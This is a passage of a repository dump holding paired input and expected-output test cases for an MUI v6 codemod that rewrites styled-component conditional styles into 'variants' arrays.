    "content": "const FormHelperTextRoot = styled('p')(({ theme, ownerState, disabled }) => ({\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.typography.caption,\n  textAlign: 'left',\n  [`&.${formHelperTextClasses.disabled}`]: {\n    color: (theme.vars || theme).palette.text.disabled,\n  },\n  ...(ownerState.size === 'small' && {\n    marginTop: 4,\n  }),\n  ...(ownerState.size === 'small' &&\n    ownerState.variant === 'contained' && {\n      marginTop: 6,\n    }),\n  ...(ownerState.size === 'small' &&\n    ownerState.variant === 'contained' &&\n    disabled && {\n      marginTop: 6,\n    }),\n  ...(ownerState.size !== 'small' && {\n    marginBottom: 4,\n  }),\n  ...(ownerState.size !== 'small' &&\n    ownerState.variant !== 'contained' &&\n    !disabled && {\n      marginBottom: 6,\n    }),\n  ...(ownerState.contained && {\n    marginLeft: 14,\n    marginRight: 14,\n  }),\n  ...(!ownerState.contained && {\n    marginTop: 14,\n    marginBottom: 14,\n  }),\n  ...(!!ownerState.disabled && {\n    opacity: 0.5,\n  }),\n}));\n\nconst Component = styled.div(({ theme, ownerState }) => ({\n  ...theme.typography.caption,\n  ...(ownerState.size === 'small' && {\n    marginTop: (theme.vars || theme).spacing(1),\n  }),\n}));\n\nconst ImageListRoot = styled('ul')(({ ownerState }) => {\n  return {\n    display: 'grid',\n    overflowY: 'auto',\n    listStyle: 'none',\n    padding: 0,\n    // Add iOS momentum scrolling for iOS < 13.0\n    WebkitOverflowScrolling: 'touch',\n    ...(ownerState.variant === 'masonry' && {\n      display: 'block',\n    }),\n  };\n});\n\nconst ImageListItemRoot = styled('li')(({ ownerState }) => ({\n  display: 'block',\n  position: 'relative',\n  [`& .${imageListItemClasses.img}`]: {\n    objectFit: 'cover',\n    width: '100%',\n    height: '100%',\n    display: 'block',\n    ...(ownerState.variant === 'standard' && {\n      height: 'auto',\n      flexGrow: 1,\n    }),\n    '&:hover': {\n      '&[data-shape=\"circular\"]': {\n        borderRadius: '50%',\n        ...(ownerState.variant === 'unique' && {\n          height: 'auto',\n          flexGrow: 1,\n        }),\n      },\n    },\n  },\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/BasicStyled.expected.js",
    "content": "const FormHelperTextRoot = styled('p')(({\n  theme\n}) => ({\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.typography.caption,\n  textAlign: 'left',\n  [`&.${formHelperTextClasses.disabled}`]: {\n    color: (theme.vars || theme).palette.text.disabled,\n  },\n  variants: [{\n    props: {\n      size: 'small'\n    },\n    style: {\n      marginTop: 4,\n    }\n  }, {\n    props: {\n      variant: 'contained',\n      size: 'small'\n    },\n    style: {\n        marginTop: 6,\n      }\n  }, {\n    props: (\n      {\n        disabled,\n        ownerState\n      }\n    ) => ownerState.size === 'small' &&\n      ownerState.variant === 'contained' &&\n      disabled,\n    style: {\n        marginTop: 6,\n      }\n  }, {\n    props: (\n      {\n        ownerState\n      }\n    ) => ownerState.size !== 'small',\n    style: {\n      marginBottom: 4,\n    }\n  }, {\n    props: (\n      {\n        disabled,\n        ownerState\n      }\n    ) => ownerState.size !== 'small' &&\n      ownerState.variant !== 'contained' &&\n      !disabled,\n    style: {\n        marginBottom: 6,\n      }\n  }, {\n    props: (\n      {\n        ownerState\n      }\n    ) => ownerState.contained,\n    style: {\n      marginLeft: 14,\n      marginRight: 14,\n    }\n  }, {\n    props: (\n      {\n        ownerState\n      }\n    ) => !ownerState.contained,\n    style: {\n      marginTop: 14,\n      marginBottom: 14,\n    }\n  }, {\n    props: (\n      {\n        ownerState\n      }\n    ) => !!ownerState.disabled,\n    style: {\n      opacity: 0.5,\n    }\n  }]\n}));\n\nconst Component = styled.div(({\n  theme\n}) => ({\n  ...theme.typography.caption,\n  variants: [{\n    props: {\n      size: 'small'\n    },\n    style: {\n      marginTop: (theme.vars || theme).spacing(1),\n    }\n  }]\n}));\n\nconst ImageListRoot = styled('ul')({\n  display: 'grid',\n  overflowY: 'auto',\n  listStyle: 'none',\n  padding: 0,\n  // Add iOS momentum scrolling for iOS < 13.0\n  WebkitOverflowScrolling: 'touch',\n  variants: [{\n    props: {\n      variant: 'masonry'\n    },\n    style: {\n      display: 'block',\n    }\n  }]\n});\n\nconst ImageListItemRoot = styled('li')(({\n  display: 'block',\n  position: 'relative',\n  [`& .${imageListItemClasses.img}`]: {\n    objectFit: 'cover',\n    width: '100%',\n    height: '100%',\n    display: 'block',\n    '&:hover': {\n      '&[data-shape=\"circular\"]': {\n        borderRadius: '50%'\n      },\n    }\n  },\n  variants: [{\n    props: {\n      variant: 'standard'\n    },\n    style: {\n      [`& .${imageListItemClasses.img}`]: {\n        height: 'auto',\n        flexGrow: 1,\n      }\n    }\n  }, {\n    props: {\n      variant: 'unique'\n    },\n    style: {\n      [`& .${imageListItemClasses.img}`]: {\n        '&:hover': {\n          '&[data-shape=\"circular\"]': {\n            height: 'auto',\n            flexGrow: 1,\n          }\n        }\n      }\n    }\n  }]\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/ConditionalStyled.actual.js",
    "content": "const LinearProgressBar1 = styled('span', {\n  name: 'MuiLinearProgress',\n  slot: 'Bar1',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.bar,\n      styles[`barColor${capitalize(ownerState.color)}`],\n      (ownerState.variant === 'indeterminate' || ownerState.variant === 'query') &&\n        styles.bar1Indeterminate,\n      ownerState.variant === 'determinate' && styles.bar1Determinate,\n      ownerState.variant === 'buffer' && styles.bar1Buffer,\n    ];\n  },\n})(({ ownerState, theme }) => ({\n  ...(ownerState.variant === 'buffer' && {\n    backgroundColor:\n      ownerState.color !== 'normal'\n        ? 'currentColor'\n        : (theme.vars || theme).palette[ownerState.color].light,\n    '&:hover': {\n      ...(ownerState.color !== 'inherit'\n        ? {\n            backgroundColor: (theme.vars || theme).palette[ownerState.color].dark,\n          }\n        : {\n            backgroundColor: 'currentColor',\n          }),\n    },\n  }),\n  ...(ownerState.variant !== 'buffer' && {\n    backgroundColor:\n      ownerState.color === 'inherit'\n        ? 'currentColor'\n        : (theme.vars || theme).palette[ownerState.color].main,\n  }),\n}));\n\nconst ExpandMore = styled((props) => {\n  const { expand, ...other } = props;\n  return <IconButton {...other} />;\n})(({ theme, expand }) => ({\n  transform: !expand ? 'rotate(0deg)' : 'rotate(180deg)',\n  marginLeft: 'auto',\n  transition: theme.transitions.create('transform', {\n    duration: theme.transitions.duration.shortest,\n  }),\n}));\n\nconst Main = styled('main', {\n  shouldForwardProp: (prop) => prop !== 'disableToc',\n})(({ disableToc, theme }) => ({\n  minHeight: '100vh',\n  display: 'grid',\n  width: '100%',\n  ...(disableToc\n    ? {\n        [theme.breakpoints.up('md')]: {\n          marginRight: TOC_WIDTH / 2,\n        },\n      }\n    : {\n        [theme.breakpoints.up('md')]: {\n          gridTemplateColumns: `1fr ${TOC_WIDTH}px`,\n        },\n      }),\n  '& .markdown-body .comment-link': {\n    display: 'flex',\n  },\n}));\n\nconst StyledAppContainer = styled(AppContainer, {\n  shouldForwardProp: (prop) => prop !== 'disableAd' && prop !== 'hasTabs' && prop !== 'disableToc',\n})(({ disableAd, hasTabs, disableToc, theme }) => {\n  return {\n    position: 'relative',\n    // By default, a grid item cannot be smaller than the size of its content.\n    // https://stackoverflow.com/questions/43311943/prevent-content-from-expanding-grid-items\n    minWidth: 0,\n    ...(disableToc\n      ? {\n          // 105ch ≈ 930px\n          maxWidth: `calc(105ch + ${TOC_WIDTH / 2}px)`,\n        }\n      : {\n          // We're mostly hosting text content so max-width by px does not make sense considering font-size is system-adjustable.\n          fontFamily: 'Arial',\n          // 105ch ≈ 930px\n          maxWidth: '105ch',\n        }),\n    ...(!disableAd && {\n      ...(hasTabs\n        ? {\n            '&& .component-tabs .MuiTabs-root': {\n              // 40px matches MarkdownElement h2 margin-top.\n              marginBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT_MOBILE}px + 40px)`,\n              [theme.breakpoints.up('sm')]: {\n                marginBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT}px + 40px)`,\n              },\n            },\n            '&& .component-tabs.ad .MuiTabs-root': {\n              marginBottom: 0,\n            },\n          }\n        : {\n            '&& .description': {\n              marginBottom: theme.spacing(AD_MARGIN_BOTTOM),\n              paddingBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT_MOBILE}px)`,\n              [theme.breakpoints.up('sm')]: {\n                paddingBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT}px)`,\n              },\n            },\n            '&& .description.ad': {\n              paddingBottom: 0,\n              marginBottom: 0,\n            },\n          }),\n    }),\n    [theme.breakpoints.up('lg')]: {\n      paddingLeft: '60px',\n      paddingRight: '60px',\n    },\n  };\n});\n\nconst DialogContentRoot = styled('div', {\n  name: 'MuiDialogContent',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.dividers && styles.dividers];\n  },\n})(({ theme, ownerState }) => ({\n  flex: '1 1 auto',\n  // Add iOS momentum scrolling for iOS < 13.0\n  WebkitOverflowScrolling: 'touch',\n  overflowY: 'auto',\n  padding: '20px 24px',\n  ...(ownerState.dividers\n    ? {\n        padding: '16px 24px',\n        borderTop: `1px solid ${(theme.vars || theme).palette.divider}`,\n        borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n      }\n    : {\n        [`.${dialogTitleClasses.root} + &`]: {\n          paddingTop: 0,\n        },\n      }),\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/ConditionalStyled.expected.js",
    "content": "const LinearProgressBar1 = styled('span', {\n  name: 'MuiLinearProgress',\n  slot: 'Bar1',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.bar,\n      styles[`barColor${capitalize(ownerState.color)}`],\n      (ownerState.variant === 'indeterminate' || ownerState.variant === 'query') &&\n        styles.bar1Indeterminate,\n      ownerState.variant === 'determinate' && styles.bar1Determinate,\n      ownerState.variant === 'buffer' && styles.bar1Buffer,\n    ];\n  },\n})(({\n  theme\n}) => ({\n  variants: [{\n    props: {\n      variant: 'buffer'\n    },\n    style: {\n      backgroundColor:\n        (theme.vars || theme).palette[ownerState.color].light,\n      '&:hover': {},\n    }\n  }, {\n    props: (\n      {\n        variant,\n        ownerState\n      }\n    ) => variant === 'buffer' && ownerState.color !== 'normal',\n    style: {\n      backgroundColor: 'currentColor'\n    }\n  }, {\n    props: (\n      {\n        variant,\n        ownerState\n      }\n    ) => variant === 'buffer' && ownerState.color !== 'inherit',\n    style: {\n      '&:hover': {\n            backgroundColor: (theme.vars || theme).palette[ownerState.color].dark,\n          }\n    }\n  }, {\n    props: {\n      variant: 'buffer',\n      color: 'inherit'\n    },\n    style: {\n      '&:hover': {\n            backgroundColor: 'currentColor',\n          }\n    }\n  }, {\n    props: (\n      {\n        ownerState\n      }\n    ) => ownerState.variant !== 'buffer',\n    style: {\n      backgroundColor:\n        (theme.vars || theme).palette[ownerState.color].main,\n    }\n  }, {\n    props: (\n      {\n        ownerState,\n        color\n      }\n    ) => ownerState.variant !== 'buffer' && color === 'inherit',\n    style: {\n      backgroundColor: 'currentColor'\n    }\n  }]\n}));\n\nconst ExpandMore = styled((props) => {\n  const { expand, ...other } = props;\n  return <IconButton {...other} />;\n})(({\n  theme\n}) => ({\n  transform: 'rotate(180deg)',\n  marginLeft: 'auto',\n  transition: theme.transitions.create('transform', {\n    duration: theme.transitions.duration.shortest,\n  }),\n  variants: [{\n    props: (\n      {\n        expand\n      }\n    ) => !expand,\n    style: {\n      transform: 'rotate(0deg)'\n    }\n  }]\n}));\n\nconst Main = styled('main', {\n  shouldForwardProp: (prop) => prop !== 'disableToc',\n})(({\n  theme\n}) => ({\n  minHeight: '100vh',\n  display: 'grid',\n  width: '100%',\n  '& .markdown-body .comment-link': {\n    display: 'flex',\n  },\n  variants: [{\n    props: (\n      {\n        disableToc\n      }\n    ) => disableToc,\n    style: {\n          [theme.breakpoints.up('md')]: {\n            marginRight: TOC_WIDTH / 2,\n          },\n        }\n  }, {\n    props: (\n      {\n        disableToc\n      }\n    ) => !disableToc,\n    style: {\n          [theme.breakpoints.up('md')]: {\n            gridTemplateColumns: `1fr ${TOC_WIDTH}px`,\n          },\n        }\n  }]\n}));\n\nconst StyledAppContainer = styled(AppContainer, {\n  shouldForwardProp: (prop) => prop !== 'disableAd' && prop !== 'hasTabs' && prop !== 'disableToc',\n})(({\n  theme\n}) => {\n  return {\n    position: 'relative',\n    // By default, a grid item cannot be smaller than the size of its content.\n    // https://stackoverflow.com/questions/43311943/prevent-content-from-expanding-grid-items\n    minWidth: 0,\n    [theme.breakpoints.up('lg')]: {\n      paddingLeft: '60px',\n      paddingRight: '60px',\n    },\n    variants: [{\n      props: (\n        {\n          disableToc\n        }\n      ) => disableToc,\n      style: {\n            // 105ch ≈ 930px\n            maxWidth: `calc(105ch + ${TOC_WIDTH / 2}px)`,\n          }\n    }, {\n      props: (\n        {\n          disableToc\n        }\n      ) => !disableToc,\n      style: {\n            // We're mostly hosting text content so max-width by px does not make sense considering font-size is system-adjustable.\n            fontFamily: 'Arial',\n            // 105ch ≈ 930px\n            maxWidth: '105ch',\n          }\n    }, {\n      props: (\n        {\n          disableAd,\n          hasTabs\n        }\n      ) => !disableAd && hasTabs,\n      style: {\n            '&& .component-tabs .MuiTabs-root': {\n              // 40px matches MarkdownElement h2 margin-top.\n              marginBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT_MOBILE}px + 40px)`,\n              [theme.breakpoints.up('sm')]: {\n                marginBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT}px + 40px)`,\n              },\n            },\n            '&& .component-tabs.ad .MuiTabs-root': {\n              marginBottom: 0,\n            },\n          }\n    }, {\n      props: (\n        {\n          disableAd,\n          hasTabs\n        }\n      ) => !disableAd && !hasTabs,\n      style: {\n            '&& .description': {\n              marginBottom: theme.spacing(AD_MARGIN_BOTTOM),\n              paddingBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT_MOBILE}px)`,\n              [theme.breakpoints.up('sm')]: {\n                paddingBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT}px)`,\n              },\n            },\n            '&& .description.ad': {\n              paddingBottom: 0,\n              marginBottom: 0,\n            },\n          }\n    }]\n  };\n});\n\nconst DialogContentRoot = styled('div', {\n  name: 'MuiDialogContent',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.dividers && styles.dividers];\n  },\n})(({\n  theme\n}) => ({\n  flex: '1 1 auto',\n  // Add iOS momentum scrolling for iOS < 13.0\n  WebkitOverflowScrolling: 'touch',\n  overflowY: 'auto',\n  padding: '20px 24px',\n  variants: [{\n    props: (\n      {\n        ownerState\n      }\n    ) => ownerState.dividers,\n    style: {\n          padding: '16px 24px',\n          borderTop: `1px solid ${(theme.vars || theme).palette.divider}`,\n          borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n        }\n  }, {\n    props: (\n      {\n        ownerState\n      }\n    ) => !ownerState.dividers,\n    style: {\n          [`.${dialogTitleClasses.root} + &`]: {\n            paddingTop: 0,\n          },\n        }\n  }]\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/DynamicPropsStyled.actual.js",
    "content": "import { styled, alpha } from '@mui/material/styles';\n\nconst DemoToolbarRoot = styled('div', {\n  shouldForwardProp: (prop) => prop !== 'demoOptions' && prop !== 'openDemoSource',\n})(({ theme, demoOptions, openDemoSource }) => [\n  {\n    display: 'none',\n    [theme.breakpoints.up('sm')]: {\n      top: 0,\n      maxHeight: 50,\n      display: 'block',\n      marginTop: demoOptions.bg === 'inline' ? theme.spacing(1) : -1,\n      padding: theme.spacing(0.5, 1),\n      border: `1px solid ${(theme.vars || theme).palette.divider}`,\n      borderTopWidth: demoOptions.bg === 'inline' ? 1 : 0,\n      backgroundColor: alpha(theme.palette.grey[50], 0.2),\n      borderRadius: openDemoSource ? 0 : '0 0 12px 12px',\n      transition: theme.transitions.create('border-radius'),\n      ...(theme.direction === 'rtl' && {\n        left: theme.spacing(1),\n      }),\n      ...(theme.direction !== 'rtl' && {\n        right: theme.spacing(1),\n      }),\n    },\n  },\n  theme.applyDarkStyles({\n    [theme.breakpoints.up('sm')]: {\n      backgroundColor: alpha(theme.palette.primaryDark[800], 0.2),\n    },\n  }),\n]);\n\nexport default DemoToolbarRoot;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/DynamicPropsStyled.expected.js",
    "content": "import { styled, alpha } from '@mui/material/styles';\n\nconst DemoToolbarRoot = styled('div', {\n  shouldForwardProp: (prop) => prop !== 'demoOptions' && prop !== 'openDemoSource',\n})(({\n  theme\n}) => [\n  {\n    display: 'none',\n    [theme.breakpoints.up('sm')]: {\n      top: 0,\n      maxHeight: 50,\n      display: 'block',\n      marginTop: -1,\n      padding: theme.spacing(0.5, 1),\n      border: `1px solid ${(theme.vars || theme).palette.divider}`,\n      borderTopWidth: 0,\n      backgroundColor: alpha(theme.palette.grey[50], 0.2),\n      borderRadius: '0 0 12px 12px',\n      transition: theme.transitions.create('border-radius'),\n      ...theme.applyStyles(\"rtl\", {\n        left: theme.spacing(1),\n      }),\n      ...theme.applyStyles(\"rtl\", {\n        right: theme.spacing(1),\n      }),\n    },\n    variants: [{\n      props: {\n        bg: 'inline'\n      },\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          marginTop: theme.spacing(1)\n        }\n      }\n    }, {\n      props: {\n        bg: 'inline'\n      },\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          borderTopWidth: 1\n        }\n      }\n    }, {\n      props: (\n        {\n          openDemoSource\n        }\n      ) => openDemoSource,\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          borderRadius: 0\n        }\n      }\n    }]\n  },\n  theme.applyDarkStyles({\n    [theme.breakpoints.up('sm')]: {\n      backgroundColor: alpha(theme.palette.primaryDark[800], 0.2),\n    },\n  }),\n]);\nexport default DemoToolbarRoot;"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/LogicalStyled.actual.js",
    "content": "const ToolbarRoot = styled('div', {\n  name: 'MuiToolbar',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, !ownerState.disableGutters && styles.gutters, styles[ownerState.variant]];\n  },\n})(\n  ({ theme, ownerState }) => ownerState.variant === 'regular' && theme.mixins.toolbar,\n  ({ theme, ownerState }) => ownerState.variant !== 'regular' && theme.mixins.toolbar2,\n  ({ theme, ownerState, disabled }) =>\n    ownerState.variant === 'regular' && disabled && theme.mixins.toolbar3,\n  ({ theme, ownerState, disabled }) =>\n    ownerState.variant !== 'regular' && !disabled && theme.mixins.toolbar4,\n  ({ theme }) => theme.vars && theme.mixins.toolbar5,\n);\n\nconst ToggleButton = styled('button')(({ theme, 'aria-pressed': pressed = 'false' }) => ({\n  padding: '0.5rem 1rem',\n  borderRadius: theme.vars.radius.sm,\n  display: 'inline-flex',\n  justifyContent: 'center',\n  gap: '8px',\n  minHeight: 40,\n  fontFamily: theme.vars.fontFamily.body,\n  fontSize: theme.vars.fontSize.md,\n  fontWeight: theme.vars.fontWeight.md,\n  alignItems: 'center',\n  border: '1px solid',\n  borderColor: theme.vars.palette.neutral.outlinedBorder,\n  backgroundColor: theme.vars.palette.background.body,\n  boxShadow: theme.vars.shadow.md,\n  [theme.focus.selector]: theme.focus.default,\n  ...theme.variants.plain.neutral,\n  ...(pressed === 'false' && {\n    '&:hover': theme.variants.plainHover.neutral,\n    '&:active': theme.variants.plainActive.neutral,\n  }),\n  ...(pressed === 'true' && {\n    color: theme.vars.palette.danger.plainColor,\n    backgroundColor: theme.vars.palette.background.body,\n    boxShadow: theme.shadow.sm.replace(/,/g, ', inset'),\n  }),\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/LogicalStyled.expected.js",
    "content": "const ToolbarRoot = styled('div', {\n  name: 'MuiToolbar',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, !ownerState.disableGutters && styles.gutters, styles[ownerState.variant]];\n  },\n})(\n  ({\n    theme\n  }) => ({\n    variants: [{\n      props: {\n        variant: 'regular'\n      },\n      style: theme.mixins.toolbar\n    }]\n  }),\n  ({\n    theme\n  }) => ({\n    variants: [{\n      props: (\n        {\n          ownerState\n        }\n      ) => ownerState.variant !== 'regular',\n      style: theme.mixins.toolbar2\n    }]\n  }),\n  ({\n    theme\n  }) =>\n    ({\n      variants: [{\n        props: (\n          {\n            disabled,\n            ownerState\n          }\n        ) => ownerState.variant === 'regular' && disabled,\n        style: theme.mixins.toolbar3\n      }]\n    }),\n  ({\n    theme\n  }) =>\n    ({\n      variants: [{\n        props: (\n          {\n            disabled,\n            ownerState\n          }\n        ) => ownerState.variant !== 'regular' && !disabled,\n        style: theme.mixins.toolbar4\n      }]\n    }),\n  ({ theme }) => theme.vars && theme.mixins.toolbar5,\n);\n\nconst ToggleButton = styled('button')(({\n  theme\n}) => ({\n  padding: '0.5rem 1rem',\n  borderRadius: theme.vars.radius.sm,\n  display: 'inline-flex',\n  justifyContent: 'center',\n  gap: '8px',\n  minHeight: 40,\n  fontFamily: theme.vars.fontFamily.body,\n  fontSize: theme.vars.fontSize.md,\n  fontWeight: theme.vars.fontWeight.md,\n  alignItems: 'center',\n  border: '1px solid',\n  borderColor: theme.vars.palette.neutral.outlinedBorder,\n  backgroundColor: theme.vars.palette.background.body,\n  boxShadow: theme.vars.shadow.md,\n  [theme.focus.selector]: theme.focus.default,\n  ...theme.variants.plain.neutral,\n  variants: [{\n    props: {\n      \"aria-pressed\": 'false'\n    },\n    style: {\n      '&:hover': theme.variants.plainHover.neutral,\n      '&:active': theme.variants.plainActive.neutral,\n    }\n  }, {\n    props: {\n      \"aria-pressed\": 'true'\n    },\n    style: {\n      color: theme.vars.palette.danger.plainColor,\n      backgroundColor: theme.vars.palette.background.body,\n      boxShadow: theme.shadow.sm.replace(/,/g, ', inset'),\n    }\n  }]\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/NestedSpread.actual.js",
    "content": "const Component = styled('div')(({ theme, ownerState }) => {\n  const palette = (theme.vars || theme).palette?.[ownerState.color];\n  return {\n    overflow: 'visible', // Explicitly set the default value to solve a bug on IE11.\n    color: (theme.vars || theme).palette.action.active,\n    transition: theme.transitions.create('background-color', {\n      duration: theme.transitions.duration.shortest,\n    }),\n    ...(!ownerState.disableRipple && {\n      '&:hover': {\n        backgroundColor: theme.vars\n          ? `rgba(${theme.vars.palette.action.activeChannel} / ${theme.vars.palette.action.hoverOpacity})`\n          : alpha(theme.palette.action.active, theme.palette.action.hoverOpacity),\n        // Reset on touch devices, it doesn't add specificity\n        '@media (hover: none)': {\n          backgroundColor: 'transparent',\n        },\n      },\n    }),\n    ...(ownerState.edge === 'start' && {\n      marginLeft: ownerState.size === 'small' ? -3 : -12,\n    }),\n    ...(ownerState.edge === 'end' && {\n      marginRight: ownerState.size === 'small' ? -3 : -12,\n    }),\n    ...(ownerState.color !== 'inherit' &&\n      ownerState.color !== 'default' && {\n        color: palette?.main,\n        ...(!ownerState.disableRipple && {\n          '&:hover': {\n            // The codemod won't handle this case when the variable is not declared in the style argument.\n            // In this case, the `palette` create a new variable in the style argument.\n            ...(palette && {\n              backgroundColor: theme.vars\n                ? `rgba(${palette.mainChannel} / ${theme.vars.palette.action.hoverOpacity})`\n                : alpha(palette.main, theme.palette.action.hoverOpacity),\n            }),\n            // Reset on touch devices, it doesn't add specificity\n            '@media (hover: none)': {\n              backgroundColor: 'transparent',\n            },\n          },\n        }),\n      }),\n  };\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/NestedSpread.expected.js",
    "content": "const Component = styled('div')(({\n  theme\n}) => {\n  const palette = (theme.vars || theme).palette?.[ownerState.color];\n  return {\n    // Explicitly set the default value to solve a bug on IE11.\n    overflow: 'visible',\n    color: (theme.vars || theme).palette.action.active,\n    transition: theme.transitions.create('background-color', {\n      duration: theme.transitions.duration.shortest,\n    }),\n    variants: [{\n      props: (\n        {\n          ownerState\n        }\n      ) => !ownerState.disableRipple,\n      style: {\n        '&:hover': {\n          backgroundColor: theme.vars\n            ? `rgba(${theme.vars.palette.action.activeChannel} / ${theme.vars.palette.action.hoverOpacity})`\n            : alpha(theme.palette.action.active, theme.palette.action.hoverOpacity),\n          // Reset on touch devices, it doesn't add specificity\n          '@media (hover: none)': {\n            backgroundColor: 'transparent',\n          },\n        },\n      }\n    }, {\n      props: {\n        edge: 'start'\n      },\n      style: {\n        marginLeft: -12,\n      }\n    }, {\n      props: {\n        edge: 'start',\n        size: 'small'\n      },\n      style: {\n        marginLeft: -3\n      }\n    }, {\n      props: {\n        edge: 'end'\n      },\n      style: {\n        marginRight: -12,\n      }\n    }, {\n      props: {\n        edge: 'end',\n        size: 'small'\n      },\n      style: {\n        marginRight: -3\n      }\n    }, {\n      props: (\n        {\n          ownerState\n        }\n      ) => ownerState.color !== 'inherit' &&\n        ownerState.color !== 'default',\n      style: {\n        color: palette?.main\n      }\n    }, {\n      props: (\n        {\n          ownerState\n        }\n      ) => ownerState.color !== 'inherit' &&\n        ownerState.color !== 'default' && !ownerState.disableRipple,\n      style: {\n        '&:hover': {\n          // The codemod won't handle this case when the variable is not declared in the style argument.\n          // In this case, the `palette` create a new variable in the style argument.\n          ...(palette && {\n            backgroundColor: theme.vars\n              ? `rgba(${palette.mainChannel} / ${theme.vars.palette.action.hoverOpacity})`\n              : alpha(palette.main, theme.palette.action.hoverOpacity),\n          }),\n          // Reset on touch devices, it doesn't add specificity\n          '@media (hover: none)': {\n            backgroundColor: 'transparent',\n          },\n        },\n      }\n    }]\n  };\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/ObjectMap.actual.js",
    "content": "const IconRoot = styled('span')(({ theme, ownerState }) => ({\n  userSelect: 'none',\n  width: '1em',\n  height: '1em',\n  overflow: 'hidden',\n  display: 'inline-block', // allow overflow hidden to take action\n  textAlign: 'center', // support non-square icon\n  flexShrink: 0,\n  fontSize: {\n    inherit: 'inherit',\n    small: theme.typography.pxToRem(20),\n    medium: theme.typography.pxToRem(24),\n    large: theme.typography.pxToRem(36),\n  }[ownerState.fontSize],\n  // TODO v5 deprecate, v6 remove for sx\n  color: {\n    primary: (theme.vars || theme).palette.primary.main,\n    secondary: (theme.vars || theme).palette.secondary.main,\n    info: (theme.vars || theme).palette.info.main,\n    success: (theme.vars || theme).palette.success.main,\n    warning: (theme.vars || theme).palette.warning.main,\n    action: (theme.vars || theme).palette.action.active,\n    error: (theme.vars || theme).palette.error.main,\n    disabled: (theme.vars || theme).palette.action.disabled,\n    inherit: undefined,\n  }[ownerState.color],\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/ObjectMap.expected.js",
    "content": "const IconRoot = styled('span')(({\n  theme\n}) => ({\n  userSelect: 'none',\n  width: '1em',\n  height: '1em',\n  overflow: 'hidden',\n  // allow overflow hidden to take action\n  display: 'inline-block',\n  // support non-square icon\n  textAlign: 'center',\n  flexShrink: 0,\n  variants: [{\n    props: {\n      fontSize: \"inherit\"\n    },\n    style: {\n      fontSize: 'inherit'\n    }\n  }, {\n    props: {\n      fontSize: \"small\"\n    },\n    style: {\n      fontSize: theme.typography.pxToRem(20)\n    }\n  }, {\n    props: {\n      fontSize: \"medium\"\n    },\n    style: {\n      fontSize: theme.typography.pxToRem(24)\n    }\n  }, {\n    props: {\n      fontSize: \"large\"\n    },\n    style: {\n      fontSize: theme.typography.pxToRem(36)\n    }\n  }, {\n    props: {\n      color: \"primary\"\n    },\n    style: {\n      color: (theme.vars || theme).palette.primary.main\n    }\n  }, {\n    props: {\n      color: \"secondary\"\n    },\n    style: {\n      color: (theme.vars || theme).palette.secondary.main\n    }\n  }, {\n    props: {\n      color: \"info\"\n    },\n    style: {\n      color: (theme.vars || theme).palette.info.main\n    }\n  }, {\n    props: {\n      color: \"success\"\n    },\n    style: {\n      color: (theme.vars || theme).palette.success.main\n    }\n  }, {\n    props: {\n      color: \"warning\"\n    },\n    style: {\n      color: (theme.vars || theme).palette.warning.main\n    }\n  }, {\n    props: {\n      color: \"action\"\n    },\n    style: {\n      color: (theme.vars || theme).palette.action.active\n    }\n  }, {\n    props: {\n      color: \"error\"\n    },\n    style: {\n      color: (theme.vars || theme).palette.error.main\n    }\n  }, {\n    props: {\n      color: \"disabled\"\n    },\n    style: {\n      color: (theme.vars || theme).palette.action.disabled\n    }\n  }, {\n    props: {\n      color: \"inherit\"\n    },\n    style: {\n      color: undefined\n    }\n  }]\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/ThemePaletteMode.actual.js",
